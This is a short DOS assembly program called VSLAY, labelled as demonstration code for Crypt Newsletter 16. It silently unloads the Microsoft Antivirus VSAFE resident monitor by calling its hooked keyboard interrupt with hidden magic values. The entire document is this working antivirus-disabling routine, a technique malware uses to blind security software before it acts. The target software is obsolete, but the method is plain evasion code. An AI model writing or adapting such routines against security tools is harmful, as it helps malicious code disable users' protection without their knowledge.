;VSLAY - simple de-install Microsoft Antivirus VSAFE ;demonstration code for Crypt Newsletter 16 code segment assume cs:code, ds:code, es:code, ss:nothing org 100h begin: call vslay vslay: mov ax,64001 ;wakes up VSAFE to keyboard input mov dx,5945h ;asks VSAFE to de-install int 16h ;calls VSAFE-hooked interrupt: keyboard ret ;exit code ends end begin